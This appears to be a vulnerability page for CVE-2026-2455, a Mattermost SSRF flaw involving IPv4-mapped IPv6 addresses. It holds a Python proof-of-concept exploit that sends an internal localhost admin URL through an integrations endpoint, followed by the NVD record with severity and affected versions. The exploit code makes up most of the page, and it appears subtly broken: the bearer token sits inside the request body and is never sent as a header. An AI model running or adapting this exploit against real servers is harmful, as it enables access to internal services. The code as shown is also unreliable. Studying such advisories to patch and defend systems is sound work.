CVE-2026-2455

import requests # CVE-2026-2455 Mattermost SSRF PoC via IPv4-mapped IPv6 # Target: Mattermost instance with valid low-privilege user TARGET_URL = "http://target-mattermost.com/api/v4/" # Replace with actual IPv4-mapped IPv6 address INTERNAL_TARGET = "[::ffff:127.0.0.1]" INTERNAL_PORT = "8080" INTERNAL_PATH = "/admin/api/secret" def exploit_ssrf(): """ Exploit SSRF by using IPv4-mapped IPv6 address to bypass IP validation. The IPv6 literal ::ffff:127.0.0.1 maps to localhost (127.0.0.1). """ headers = { "Authorization": "Bearer YOUR_ACCESS_TOKEN", "Content-Type": "application/json" } # Construct SSRF payload using IPv4-mapped IPv6 address # This bypasses IP validation that doesn't canonicalize IPv6 addresses ssrf_url = f"{TARGET_URL}integrations/execute" payload = { "url": f"http://{INTERNAL_TARGET}:{INTERNAL_PORT}{INTERNAL_PATH}", "method": "GET", "headers": headers } try: response = requests.post(ssrf_url, json=payload, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": exploit_ssrf()

{"cve": {"id": "CVE-2026-2455", "sourceIdentifier": "[email protected]", "published": "2026-03-16T15:16:22.277", "lastModified": "2026-03-18T13:55:00.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to canonicalize IPv4-mapped IPv6 addresses before reserved IP validation which allows an attacker to perform SSRF attacks against internal services via IPv4-mapped IPv6 literals (e.g., [::ffff:127.0.0.1]).. Mattermost Advisory ID: MMSA-2026-00585"}, {"lang": "es", "value": "Las versiones de Mattermost 11.3.x &lt;= 11.3.0, 11.2.x &lt;= 11.2.2, 10.11.x &lt;= 10.11.10 no logran canonicalizar las direcciones IPv6 mapeadas a IPv4 antes de la validación de IP reservadas, lo que permite a un atacante realizar ataques SSRF contra servicios internos a través de literales IPv6 mapeados a IPv4 (por ejemplo, [::ffff:127.0.0.1]).. ID de Aviso de Mattermost: MMSA-2026-00585"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}